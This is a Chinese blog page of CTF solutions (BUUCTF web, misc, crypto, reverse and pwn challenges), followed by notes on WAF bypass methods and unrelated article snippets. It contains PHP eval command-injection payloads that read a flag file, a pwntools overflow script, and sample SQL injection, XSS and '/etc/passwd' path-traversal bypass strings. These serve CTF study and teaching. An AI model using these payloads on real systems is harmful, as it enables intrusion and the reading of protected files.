当前位置：首页 > news >正文

寒假2.8

news 来源：原创 2025/5/21 20:50:29

题解

web：[RoarCTF 2019]Easy Calc

打开，是一个计算界面

看一下源代码，提示设置了WAF，并且有一个calc.php文件

访问一下calc.php文件，得到源码，使用get方式传参赋值给num，设置了黑名单，绕过黑名单即可通过eval进行任意php语句

由于前面说了设置了WAF，我们在“？”后输入一个空格进行绕过

原理：当php进行解析时，如果变量名前面有空格，php会自动去掉前面的空格再进行解析，假如waf不允许num变量接收字母，那么使用 num就可以，而php解析时就会自动把空格去掉

也就是说，当我加了一个空格，那么服务器就认为我传入的是空格num而不是num，就不属于黑名单

输入了一个

calc.php? num=system('ls');

我寻思ls也不在黑名单里啊，但是不行，后面看了其他大佬的wp，原来是有WAF绕过的时候基本不能传入字符，因为大多数字符都会被过滤掉

使用scandir查看目录中的内容，找到存有flag的文件，由于/被过滤了，尝试使用chr对/的ascii码进行转换绕过，只有这个才不需要引号

? num=scandir("/")
==>? num=var_dump(scandir(chr(47)))

盲猜flag在里面

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

misc:buuctf john-in-the-middle

打开附件，是一个.pcap文件

导出http数据流

保存一下

有几张图片，其中logo.png里面好像被打了马赛克，怀疑flag在这张图里

法一：用stegsolve看看，在其中一个通道发现了flag

flag{J0hn_th3_Sn1ff3r}

法二：用stegsolve打开scanlines.png，在很多通道都可以发现有一条线

将两张图片合成，一样可以得到flag

crypto：buuctf-RSAROLL

下载附件，给了n,e,c

用工具分解一下n，得到p,q

脚本及其解释：

import gmpy2
e = 19
p = 18443
q = 49891
n = p * q #模数
phi = (p - 1) * (q - 1) #欧拉函数值
d = gmpy2.invert(e, phi)#计算私钥d
c=[704796792,752211152,
274704164,
18414022,
368270835,
483295235,
263072905,
459788476,
483295235,
459788476,
663551792,
475206804,
459788476,
428313374,
475206804,
459788476,
425392137,
704796792,
458265677,
341524652,
483295235,
534149509,
425392137,
428313374,
425392137,
341524652,
458265677,
263072905,
483295235,
828509797,
341524652,
425392137,
475206804,
428313374,
483295235,
475206804,
459788476,
306220148]
m = [pow(i, d, n) for i in c]#使用公式 m = c^d mod n 对每个密文值进行解密
message = ''.join([chr(i) for i in m])#将解密后的整数值转换为对应的ASCII字符并拼接
print(message)

运行脚本即可得到flag

reverse：[BJDCTF2020]JustRE

附件是一个.exe文件，运行一下试试

查壳，无壳32位

ida32打开，看不出主函数

shift+f12查看,发现了可疑字符串,点进去查看

按x交叉引用查看

找到关键函数

关键是这个

当点击次数为1999的时候，使用sprintf函数输出字符BJD{1999902069a45792d233ac}，并将其设置为窗口的标题，把BJD换成flag即可得到flag

pwn：buuctf-ciscn_2019_n_8

用exeinfope查看，32位无壳

ida32打开，查看主函数，大概意思就是会读取写入的字节，放入var[ ]中，当var[13]=17LL的时候就执行system函数

找到了system函数，这里我们要想办法让var[13]=17LL

脚本：

from pwn import *r = remote("node5.buuoj.cn",28096)offset = 14    # var[13]一共有14个元素
payload = p32(17) * offsetr.sendline(payload)
r.interactive()

运行脚本得到flag

知识点

WAF绕过

理解WAF的检测规则

WAF 通常基于正则表达式或规则集来检测恶意输入。
通过分析 WAF 的行为（如拦截的请求、返回的错误信息），可以推测其检测规则。
使用工具（如 WAFW00F）识别 WAF 的类型和版本。

常见绕过技巧

（1）大小写混淆

SELECT * FROM users;  --> sElEcT * FrOm UsErS;

（2）编码绕过

URL编码：

SELECT * FROM users;  --> %53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%75%73%65%72%73%3B

Unicode编码：

SELECT * FROM users;  --> \u0053\u0045\u004C\u0045\u0043\u0054\u0020\u002A\u0020\u0046\u0052\u004F\u004D\u0020\u0075\u0073\u0065\u0072\u0073\u003B

Base64编码：

SELECT * FROM users;  --> U0VMRUNUICogRlJPTSB1c2Vyczs=

（3）注释符绕过

在payload中插入注释符,干扰WAF的检测

SELECT/*comment*/ * FROM users;

（4）分块传输

将payload分成多个小块发送，绕过WAF的检测

POST /vulnerable-endpoint HTTP/1.1
Transfer-Encoding: chunked4
SELECT
5
* FROM
6
users;
0

（5）参数污染

在请求中重复参数，利用WAF和服务器解析的差异绕过

原理：在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值，不同的语言有不同的特性

GET /vulnerable-endpoint?id=1&id=2&id=SELECT * FROM users;

（6）特殊字符绕过

使用特殊字符（如换行符、制表符）干扰 WAF 的检测

SELECT\t*\nFROM users;

(7)多语言混淆

使用多语言字符集（如宽字符绕过WAF）

SELECT * FROM users WHERE name = 'admin' AND 1=1;
--> SELECT * FROM users WHERE name = 'admin' AND 1=１;

（8）逻辑绕过

利用 WAF 的逻辑漏洞，构造合法的 payload

SELECT * FROM users WHERE id = 1 AND 1=1;
--> SELECT * FROM users WHERE id = 1 AND true;

4种情况示例

（1）SQL注入绕过

SELECT * FROM users WHERE id = 1 AND 1=1;
-->SELECT/*comment*/ * FROM users WHERE id = 1 AND 1=１;

（2）XSS绕过

<script>alert(1);</script>
--><img src=x onerror=alert(1)>

（3）文件包含绕过

?file=../../../../etc/passwd
--> ?file=....//....//....//....//etc/passwd

寒假2.8

题解 web：[RoarCTF 2019]Easy Calc 打开，是一个计算界面看一下源代码，提示设置了WAF，并且有一个calc.php文件访问一下calc.php文件，得到源码，使用get方式传参赋值给num，设置了黑名单&#x…...

编程日记 2025/5/21 20:50:29

企业如何利用DeepSeek提升网络安全管理水平

企业可以通过深度整合DeepSeek的AI能力，构建智能化、动态化的网络安全防御体系，以应对APT（高级持续性威胁）等复杂攻击。以下是具体策略与实践路径： 1. AI驱动的威胁检测与分析多模态威胁狩猎 DeepSeek的深度学习技术能…...

编程日记 2025/5/21 10:06:35

C++ libfmt 实战: 高效便捷的格式化库

libfmt 是一个现代化的 C格式化库{fmt}, 具有以下关键特性: 安全性: 受 Python 格式化功能启发, {fmt}为printf系列函数提供安全替代方案. 格式字符串错误在编译时就能被检测出来, 并且通过自动内存管理避免缓冲区溢出错误.可扩展性: 默认支持格式化大多数标准类型, 包括容器,…...

编程日记 2025/5/21 20:36:30

Ubuntu 下 nginx-1.24.0 源码分析 - ngx_max_sockets

在 Nginx 的源代码中， ngx_max_sockets 全局变量的声明位于 os/unix/ngx_os.h extern ngx_int_t ngx_max_sockets; 定义在 os/unix/ngx_posix_init.c ngx_int_t ngx_max_sockets; ngx_max_sockets 定义了 Nginx 能够同时使用的最大 Socket 文件描述符数量。它…...

编程日记 2025/5/21 19:39:24

Spring Boot接入Deep Seek的API

1，首先进入deepseek的官网：DeepSeek | 深度求索，单击右上角的API开放平台。 2，单击API keys，创建一个API，创建完成务必复制！！不然关掉之后会看不看api key！！&…...

编程日记 2025/5/20 19:55:28

大语言模型实践——基于现有API的二次开发

基于现有的API平台做一些实用的AI小应用。 API服务商：阿里云百炼云服务器：阿里云（2核2GB） 部署框架：gradio 调用框架：openai 语言：Python （注：若搭建网站或API接口…...

编程日记 2025/5/18 2:23:12

ChunkKV：优化 KV 缓存压缩，让 LLM 长文本推理更高效

每周跟踪AI热点新闻动向和震撼发展想要探索生成式人工智能的前沿进展吗？订阅我们的简报，深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同，从行业内部的深度分析和实用指南中受益。不要错过这个机会，成为AI领…...

编程日记 2025/5/15 6:08:57

深入探究 Go 语言中的 Fx 框架：依赖注入的强大工具

在软件开发中，依赖注入（Dependency Injection，简称 DI）是一种重要的设计模式，它可以帮助我们降低代码的耦合度，提高代码的可测试性和可维护性。Go 语言作为一门高效、简洁的编程语言，拥有许多优…...

编程日记 2025/5/21 2:06:04

用 DeepSeek + Kimi 自动做 PPT，效率起飞

以下是使用 DeepSeek Kimi 自动做 PPT 的详细操作步骤： 利用 DeepSeek 生成 PPT 内容： 访问 DeepSeek 官网，完成注册/登录后进入对话界面。输入指令，例如“请用 Markdown 格式生成一份关于[具体主题]的 PPT 大纲，需包…...

编程日记 2025/5/21 20:21:55

【04】Java+若依+vue.js技术栈实现钱包积分管理系统项目-若依框架二次开发准备工作-以及建立初步后端目录菜单列-优雅草卓伊凡商业项目实战

【04】Java若依vue.js技术栈实现钱包积分管理系统项目-若依框架二次开发准备工作-以及建立初步后端目录菜单列-优雅草卓伊凡商业项目实战项目背景本项目经费43000元，需求文档如下，工期25天，目前已经过了8天，时间不多了&#x…...

编程日记 2025/5/21 19:10:34

【C++】异常

前言本篇博客我们来看下C有关异常的处理，了解下异常有关的知识 💓 个人主页：小张同学zkf ⏩ 文章专栏：C 若有问题评论区见📝 🎉欢迎大家点赞👍收藏⭐文章目录 1.异常的概念及使用 1.1异…...

编程日记 2025/5/20 23:02:07

Meta AI 最近推出了一款全新的机器学习框架ParetoQ，专门用于大型语言模型的4-bit 以下量化

编程日记 2025/5/21 18:23:15

金融资产配置

不要放在一个篮子里也不要放在太多篮子里： 尽量放在不相关的行业实现风险对冲金融资产从风险类别上主要可以分为三类： 进攻型资产、稳定型资产和防守型资产进攻型资产包括原油、股票、一级市场股权投资等稳定型资产包括信托、理财、国债等防守…...

编程日记 2025/5/21 20:05:06

(done) openMP学习 (Day14: 总结)

url: https://dazuozcy.github.io/posts/introdution-to-openmp-intel/#23-%E5%8F%AF%E6%80%95%E7%9A%84%E4%B8%9C%E8%A5%BF%E5%86%85%E5%AD%98%E6%A8%A1%E5%9E%8Batomicsflushpairwise%E5%90%8C%E6%AD%A5%20 新手并行程序员与专家并行程序员之间的区别是专家have a collection…...

编程日记 2025/5/21 19:21:34

音频进阶学习十一——离散傅里叶级数DFS

文章目录前言一、傅里叶级数1.定义2.周期信号序列3.表达式DFSIDFS参数含义 4.DFS公式解析1）右边解析 T T T、 f f f、 ω \omega ω的关系求和公式N的释义求和公式K的释义 e j ( − 2 π k n N ) e^{j(\frac{-2\pi kn}{N})} ej(N−2πkn)的释义 ∑ n 0 N − 1 e…...

编程日记 2025/5/16 8:50:48

ssm的心得

spring是一个轻量级的ioc（控制反转）和aop（面向切面编程）容器框架，它可以管理和配置应用中的各种bean（对象），实现bean之间的依赖注入，以及提供事务管理、缓存、测试等功能…...

编程日记 2025/5/21 20:25:35

14vue3实战-----获取用户信息和用户的菜单树信息

14vue3实战-----获取用户信息和用户的菜单树信息 1.获取用户信息1.1封装接口1.2优化 2.获取用户的菜单树信息 1.获取用户信息 1.1封装接口后端有根据id获取用户信息的接口，前端需要把该接口封装一下: service/login/login.ts： import hyRequest from…...

编程日记 2025/5/20 22:47:49

shell脚本学习笔记

Shell脚本学习笔记参考资料：https://www.runoob.com/linux/linux-shell-passing-arguments.html 文章目录 Shell脚本学习笔记一、什么是Shell1.1、定义1.2、注释二、Shell变量2.1、规则2.2、变量类型2.2.1、字符串2.2.2、整数2.2.3、数组2.2.4、环境变量2.2.5、特…...

编程日记 2025/5/19 9:26:33

Java中的线程池及其应用场景有哪些？

Java中的线程池是一种高效的并发编程机制，通过复用线程来管理任务的执行，从而提高资源利用率和系统性能。本文将详细探讨Java线程池的概念、类型、应用场景以及实际代码示例，帮助读者全面理解线程池的使用方法及其在实际开发中的重要性。 …...

编程日记 2025/5/19 8:25:14

13.6 基于 LangChain架构优化实战：OpenAI-Translator翻译系统重构与10倍效率提升秘籍

LangChain架构优化实战：OpenAI-Translator翻译系统重构与10倍效率提升秘籍关键词：LangChain 架构优化, 模块解耦, 翻译系统设计模式, 可扩展翻译框架, 多模型管理 1. 原架构痛点分析问题维度原实现缺陷LangChain 优化方案大模型耦合直接调用 OpenAI API，切换模型需改代码…...

编程日记 2025/5/21 2:42:00

构建基于 SSE 协议通信的 MCP Server 和 Client

在之前的系列教程中，我们编写的 MCP 服务器与 MCP 客户端是通过 **stdio（Standard Input/Output，标准输入输出）**来进行交互的。客户端通过启动服务器子进程，并利用标准输入（stdin）和标准输出&a…...

编程日记 2025/5/20 13:14:11

Docker、Ollama、Dify 及 DeepSeek 安装配置与搭建企业级本地私有化知识库实践

在现代企业中，管理和快速访问知识库是提升工作效率、促进创新的关键。为了满足这些需求，企业越来越倾向于构建本地私有化的知识库系统，这样可以更好地保护企业数据的安全性和隐私性。本文将介绍如何利用 **Docker**、**Ollama**、**Dify** 和…...

编程日记 2025/5/20 21:30:13

第3章使用 Vue 脚手架

第3章使用 Vue 脚手架 3.1 初始化脚手架3.1.1 说明3.1.2. 具体步骤3.1.3 分析脚手架结构1 总结2 细节分析1 配置文件2 src文件1 文件结构分析2 例子 3 public文件4 最终效果 3.2 ref属性3.3 props配置项3.4 mixin混入3.5 插件3.6 scoped样式3.7 Todo-list 案例3.7.1 组件化编码…...

编程日记 2025/5/20 5:43:31

MySQL第五次作业

根据图片内容完成作业 1.建表 （1）建立两个表:goods(商品表)、orders(订单表) mysql> create table goods( -> gid char(8) primary key, -> name varchar(10), -> price decimal(8,2), -> num int); mysql> create t…...

编程日记 2025/5/20 13:12:40

pikachu[皮卡丘] 靶场全级别通关教程答案以及学习方法如何通过渗透测试靶场挑战「pikachu」来精通Web渗透技巧？一篇文章搞完这些问题

目录 Pikachu靶场部署暴力破解漏洞学习地址: 靶场练习: 基于表单的暴力破解验证码绕过(on server) 验证码绕过(on Client) token防爆破? XSS跨站脚本攻击学习地址: 靶场练习： 反射型xss(get) 反射性xss(post) 存储型xss DOM型xss xss盲打 x…...

编程日记 2025/5/20 18:50:54

ai智能DeepSeek 在 Cursor 中的配置与应用实践

DeepSeek 是一款高效的深度搜索引擎，能够为开发者提供更智能、更精准的搜索体验。在数据量大、查询复杂的场景中，DeepSeek 能够帮助提升查询的响应速度和精确度。本文将介绍 DeepSeek 在 Cursor 中的配置与应用，帮助开发者理解如何在实际开发…...

编程日记 2025/5/20 23:02:07

登录到docker里

在Docker中登录到容器通常有两种情况： 登录到正在运行的容器内部：如果你想要进入到正在运行的容器内部，可以使用docker exec命令。登录到容器中并启动一个shell：如果你想要启动一个容器，并在其中启动一个shell&…...

编程日记 2025/5/20 7:29:57

【大数据技术】搭建完全分布式高可用大数据集群（Kafka）

搭建完全分布式高可用大数据集群（Kafka） kafka_2.13-3.9.0.tgz注：请在阅读本篇文章前，将以上资源下载下来。写在前面本文主要介绍搭建完全分布式高可用集群 Kafka 的详细步骤。注意：统一约定将软件安装包存放于虚拟机的/software目录下，软件安装至/opt目录下。安…...

编程日记 2025/5/19 19:18:00

Java 大视界 -- Java 大数据在智能供应链中的应用与优化（76）

💖亲爱的朋友们，热烈欢迎来到青云交的博客！能与诸位在此相逢，我倍感荣幸。在这飞速更迭的时代，我们都渴望一方心灵净土，而我的博客正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识，也…...

编程日记 2025/5/21 12:36:53

10.单例模式 (Singleton Pattern)

单例模式的定义单例模式（Singleton Pattern） 是一种创建型设计模式，确保一个类在整个程序生命周期中只能有一个实例，并提供一个全局访问点。特点： 唯一性：保证系统中某个类只能有一个实例。全局访问点…...

编程日记 2025/5/21 0:43:38

Docker 常见问题解决方法

云原生学习路线导航页（持续更新中） kubernetes学习系列快捷链接 Kubernetes架构原则和对象设计（一）Kubernetes架构原则和对象设计（二）Kubernetes架构原则和对象设计（三）Kubernetes常…...

编程日记 2025/5/19 19:17:47

QT-面试

1. C（特别是 Qt）开发中，内存优化的方法 1. 合理管理对象生命周期，使用智能指针 Qt 提供了 QScopedPointer 和 QSharedPointer 来管理对象生命周期，避免手动 delete 导致的内存泄漏。 2. 减少内存占用 QString、QBy…...

编程日记 2025/5/20 19:07:25

使用java代码操作rabbitMQ收发消息

SpringAMQP 将来我们开发业务功能的时候，肯定不会在控制台收发消息，而是应该基于编程的方式。由于RabbitMQ采用了AMQP协议，因此它具备跨语言的特性。任何语言只要遵循AMQP协议收发消息，都可以与RabbitMQ交互。并且RabbitMQ官方也…...

编程日记 2025/5/20 15:53:37

LeetCode 128: 最长连续序列

LeetCode 128: 最长连续序列题目: 给定一个未排序的整数数组 nums ，找出数字连续的最长序列（不要求序列元素在原数组中连续）的长度。请你设计并实现时间复杂度为 O(n) 的算法解决此问题。示例 1： 输入：nums […...

编程日记 2025/5/20 21:37:41

Shapefile格式文件解析和显示

Java实现GIS SHP文件格式的解析和显示，JDK19下编译，awt图形系统显示。 SHP文件对应的属性存储在DBF格式数据库中，解析见：DBASE DBF数据库文件解析_数据库文件在线解析-CSDN博客解析SHP文件代码： public static Shap…...

编程日记 2025/5/21 3:40:00

华为昇腾Altas产品查询——常用命令汇总记录

参考链接： 【2024第一期CANN训练营】Altas产品查询CANN软件包版本等信息npu-smi Atlas 中心训练服务器 6.0.0 NPU驱动和固件安装指南 06 Ascend Extension for PyTorch插件软件版本配套表以下操作适用于查询npu设备的基本信息。 #查询所有设备的基本信息 npu-smi…...

编程日记 2025/5/20 0:48:58

韶音科技：消费电子行业售后服务实现数字化转型，重塑客户服务体系

韶音科技：消费电子行业售后服务实现数字化转型，重塑客户服务体系在当今这个科技日新月异的时代，企业之间的竞争早已超越了单纯的产品质量比拼，**售后服务成为了衡量消费电子行业各品牌实力与客户满意度的关键一环。**深圳市韶音…...

编程日记 2025/5/20 4:24:27

【R语言】plyr包和dplyr包

一、plyr包 plyr扩展包主要是实现数据处理中的“分割-应用-组合”（split-apply-combine）策略。此策略是指将一个问题分割成更容易操作的部分，再对每一部分进行独立的操作，最后将各部分的操作结果组合起来。 plyr扩展包中的主要函…...

编程日记 2025/5/20 13:53:15

开发一款类似《王者荣耀》的游戏是一个复杂的系统工程，涉及多个领域的知识和技术。以下是从多个角度详细阐述如何开发的思维。

一、明确游戏定位与核心玩法游戏类型 MOBA（Multiplayer Online Battle Arena）：强调团队合作、策略性和即时战斗。确定游戏模式（如5v5、3v3等）和地图设计。核心玩法角色设计：英雄技能、属性、成长曲线。…...

编程日记 2025/5/21 4:13:49

harmonyOS生命周期详述

harmonyOS的生命周期分为app(应用)的生命周期和页面的生命周期函数两部分应用的生命周期-app应用在app.js中写逻辑,具体有哪些生命周期函数呢,请看下图: onCreated()、onShow()、onHide()、onDestroy()这五部分页面及组件生命周期着重说下onShow和onHide,分别代表是不是…...

编程日记 2025/5/16 14:57:36

Deepseek本地部署指南：在linux服务器部署，在mac远程web-ui访问

1. 在Linux服务器上部署DeepSeek模型要在 Linux 上通过 Ollama 安装和使用模型，您可以按照以下步骤进行操作： 步骤 1：安装 Ollama 安装 Ollama： 使用以下命令安装 Ollama： curl -sSfL https://ollama.com/download.…...

编程日记 2025/5/18 15:18:25

ESP8266+STM32+阿里云保姆级教程（AT指令+MQTT）

前言：在开发过程中，几乎踩便了所有大坑小坑总结出的文章，我是把坑踩满了，帮助更过小白快速上手，如有错误之处，还麻烦各位大佬帮忙指正、目录一、ESP-01s介绍 1、ESP-01s管脚功能： 模组启动模…...

编程日记 2025/5/18 20:29:27

【蓝桥杯嵌入式】4_key：单击+长按+双击

全部代码网盘自取链接：https://pan.baidu.com/s/1PX2NCQxnADxYBQx5CsOgPA?pwd3ii2 提取码：3ii2 1、电路图将4个按键的引脚设置为input，并将初始状态设置为Pull-up（上拉输入） 为解决按键抖动的问题，我们…...

编程日记 2025/5/21 14:45:47

TCP队头阻塞问题以及QUIC解决方案

TCP队头阻塞（Head-of-Line Blocking）问题问题描述 TCP是面向字节流的可靠传输协议，要求数据按严格顺序到达接收端。若某个数据包在传输过程中丢失、延迟或乱序，会导致以下问题：后续数据被阻塞：接收端必须等待丢失/延迟的包重传并正确接收后，才能将后续已到达的数据交…...

编程日记 2025/5/21 8:46:49

idea启动报错# EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00007ffccf76e433

# EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc0x00007ffccf76e433, pid17288, tid6696 # # JRE version: (11.0.248) (build ) # Java VM: OpenJDK 64-Bit Server VM (11.0.248-LTS, mixed mode, sharing, tiered, compressed oops, g1 gc, windows-amd64) 不知道为什么…...

编程日记 2025/5/20 19:05:01

题解